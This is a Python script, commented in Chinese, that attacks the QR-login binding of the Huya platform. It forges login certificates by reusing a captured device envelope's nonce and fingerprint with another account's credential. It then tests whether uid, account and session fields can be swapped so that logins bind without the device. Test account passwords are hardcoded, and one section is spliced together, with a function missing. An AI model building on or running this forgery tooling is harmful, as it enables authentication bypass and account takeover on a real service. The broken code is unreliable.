#!/usr/bin/env python3 """信封规则测定 v2 —— 单次新鲜信封, 紧凑窗口内连续对照。 流程: 设备hook刷新信封(~60s) -> 立刻登录两账号取cred -> 窗口内连续4次bind: X0 对照: 原uid + 信封原nonce+可信cred铸证 (期望✅) X1 错配: 原uid(t3不动) + 新账号cred铸证 (测 t3与cert内cred的交叉校验) X2 换账号: t3补丁成新uid + 新账号cred铸证 (零设备关键判定) X3 改session: 三处session一致随机化 + 可信cred (测session是否校验) 铸造铁律(probe_forge_cert_bind已证): 服务端校验证书内nonce字段内容, 纯随机nonce必40020 => 必须【复用信封原证书的rnd/指纹/key_idx】, 仅替换cred。 """ from __future__ import annotations import base64 import json import random import re import struct import subprocess import sys import time from pathlib import Path ROOT = Path(__file__).resolve().parent.parent sys.path.insert(0, str(ROOT)) sys.path.insert(0, str(ROOT / "tools")) sys.path.insert(0, str(ROOT / "scripts")) from app_login_flow import wup_password_login_raw, parse_cred # noqa: E402 from cert_forge import build_p1, decrypt_cert, forge_cert, parse_p1 # noqa: E402 from envelope_forge import Envelope # noqa: E402 from probe_huya_qr_bind import QrRole, web_behavior # noqa: E402 from core.huya.device_fingerprint import get_huya_sdid # noqa: E402 TRUSTED = ("hy_300023887", "aa778899") NEWACCT = ("hy_300024708", "aa778899") KEYCAP = ROOT / "evidence/cert_keycap.json" def env_forge(env: Envelope, cred: bytes) -> bytes: """复用信封原证书的 rnd/指纹/key_idx, 仅替换 cred 字段重铸。""" orig = base64.b64decode(env.cert_b64) f = parse_p1(decrypt_cert(orig)) return forge_cert(build_p1(f["app_id"], f["fingerprint"], cred, rnd=f["rnd"]), key_idx=orig[1]) def login_uid_cred(account: str, password: str) -> tuple[int, bytes]: resp = wup_password_login_raw(account, password) s = resp.find(b"\x0a\x0a", 0x40) e = resp.find(b"_wup_header") body = resp[s:e] uid = struct.unpack_from(">Q", body, 235)[0] cred = parse_cred(resp) assert cred, "无cred" return uid, cred def refresh_envelope_from_device(max_age: float = 600.0) -> None: """信封够新鲜( dict | None: from urllib.parse import quote sdid = get_huya_sdid(allow_fallback=False).sdid pc = QrRole(pc=True, sdid=sdid) ph = QrRole(pc=False, sdid=sdid) beh, page = web_behavior() resp = pc.call("/qrLgn/getQrId", "70001", {"behavior": beh, "type": "", "domainList": "", "page": page}) qrid = ((resp.get("data") or {}).get("qrId")) if resp.get("returnCode") == 0 else None if not qrid: print(f" [{name}] getQrId失败 {resp.get('returnCode')}") return None cp = f"https://aq.huya.com/r/confirm.html?k={qrid}&id=5002" ph.call("/qrLgn/scanQrPicNotify", "70005", {"qrId": qrid, "wupData": wup_b64, "behavior": quote("[]", safe=""), "page": quote(cp, safe="")}) r2 = ph.call("/qrLgn/bindQrLoginUser", "70007", {"qrId": qrid, "wupData": wup_b64, "behavior": quote("[]", safe=""), "page": quote(cp, safe="")}) print(f" [{name}] bindQr rc={r2.get('returnCode')} " f"{r2.get('message') or r2.get('description') or ''}") if r2.get("returnCode") != 0: return None for _ in range(4): rt = pc.call("/qrLgn/tryQrLogin", "70003", {"qrId": qrid, "remember": "1", "domainList": "", "behavior": beh, "page": page}) dt = rt.get("data") or {} if dt.get("stage") == 2 and dt.get("biztoken"): return {"ok": True, "uid": dt.get("uid")} time.sleep(1.5) return None def patch_session_consistent(env: Envelope, session: int) -> Envelope: """三处session等宽一致改写, 并回读校验。""" raw = bytearray(env.raw) # iRequestId @[8:12] struct.pack_into(">I", raw, 8, session & 0xFFFFFFFF) # meta JSON 内等宽替换 s, e = env.meta_json_span js = bytes(raw[s:e]).decode() old = re.search(r'"session":(\d+)', js).group(1) new = str(session)[-len(old):] if len(str(session)) >= len(old) else \ str(session).rjust(len(old), "0") js2 = js.replace(f'"session":{old}', f'"session":{new}', 1) assert len(js2.encode()) == e - s raw[s:e] = js2.encode() # v0 blob: 定位key串后的完整值段, 解析其头后整体替换为同构5B i = bytes(raw).find(b"wupudbrequest_v0") klen_off = i - 1 # STRING1长度字节 vhead = klen_off + 1 + raw[klen_off] # value字段头(0x1d) assert raw[vhead] & 0x0F == 0x0D p = vhead + 1 # 元素类型头 dt_len = raw[p] & 0x0F if dt_len == 0x00: vn = raw[p + 1]; val = p + 2 elif dt_len == 0x01: vn = struct.unpack_from(">h", raw, p + 1)[0]; val = p + 3 elif dt_len == 0x03: vn = struct.unpack_from(">i", raw, p + 1)[0]; val = p + 5 else: raise ValueError(f"v0长度编码{dt_len:#x}") # 保持首字节(head)不动, 只换其后4字节数值 struct.pack_into(">I", raw, val + 1, session & 0xFFFFFFFF) env.raw = raw return env def main() -> int: results = {} # 并行: 登录(不依赖信封) 与 设备hook同时跑 import threading cred_box: dict = {} def _login_all(): uid_t, cred_t = login_uid_cred(*TRUSTED) uid_n, cred_n = login_uid_cred(*NEWACCT) cred_box.update(uid_t=uid_t, cred_t=cred_t, uid_n=uid_n, cred_n=cred_n) th = threading.Thread(target=_login_all, daemon=True) t0 = time.time() th.start() refresh_envelope_from_device() th.join(timeout=30) t_refresh = KEYCAP.stat().st_mtime # 以信封采集时刻为窗口原点 print(f"[login] 可信uid={cred_box['uid_t']} 新账号uid={cred_box['uid_n']} " f"(准备耗时{time.time()-t0:.0f}s) —— 开始紧凑窗口") uid_t, cred_t = cred_box["uid_t"], cred_box["cred_t"] uid_n, cred_n = cred_box["uid_n"], cred_box["cred_n"] def elapsed() -> float: return f"+{time.time()-t_refresh:.0f}s" # X0 对照 env = Envelope.load() assert env.uid == uid_t r = try_bind(env.patch_cert(env_forge(env, cred_t)).wup_b64(), f"X0对照 {elapsed()}") results["X0_control"] = r # X1 uid错配 env = Envelope.load() r = try_bind(env.patch_cert(env_forge(env, cred_n)).wup_b64(), f"X1错配 {elapsed()}") results["X1_uid_mismatch"] = r # X2 换账号 env = Envelope.load() r = try_bind(env.patch_uid(uid_n).patch_cert(env_forge(env, cred_n)).wup_b64(), f"X2换号 {elapsed()}") results["X2_cross_account"] = r # X3 session一致随机 env = Envelope.load() sess = 3_900_000 + random.randint(1, 99_999) r = try_bind(patch_session_consistent(env, sess).patch_cert( env_forge(env, cred_t)).wup_b64(), f"X3改session {elapsed()}") results["X3_random_session"] = r print("\n===== 结论 =====") for k, v in results.items(): print(f" {k}: {'✅ 通过' if v else '❌ 拒绝'} {v or ''}") (ROOT / "evidence/envelope_rules2.json").write_text( json.dumps(results, ensure_ascii=False, indent=1)) return 0 if __name__ == "__main__": raise SystemExit(main())